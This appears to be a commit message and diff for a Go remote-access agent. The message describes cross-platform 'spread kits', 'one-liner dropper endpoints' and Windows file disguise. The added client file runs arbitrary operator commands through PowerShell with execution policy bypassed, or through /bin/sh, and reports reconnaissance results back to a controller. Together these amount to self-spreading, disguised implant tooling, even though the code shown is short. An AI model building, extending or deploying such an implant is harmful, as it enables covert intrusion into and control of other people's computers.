Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

agent/client/commands_common.go

@@ -0,0 +1,34 @@
+package client
+
+import (
+	"fmt"
+	"os/exec"
+	"runtime"
+)
+
+func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
+	if runtime.GOOS == "windows" {
+		return exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput()
+	}
+	return exec.Command("/bin/sh", "-c", command).CombinedOutput()
+}
+
+func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
+	if runtime.GOOS == "windows" {
+		return exec.Command("cmd.exe", "/C", command).CombinedOutput()
+	}
+	return exec.Command("/bin/sh", "-c", command).CombinedOutput()
+}
+
+func (c *AgentClient) handleReconCommand(action, command string) bool {
+	handled, success, msg := c.platformRecon(action, command)
+	if !handled {
+		return false
+	}
+	c.sendCommandResult(action, success, msg)
+	return true
+}
+
+func formatCmdErr(err error, out []byte) string {
+	return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
+}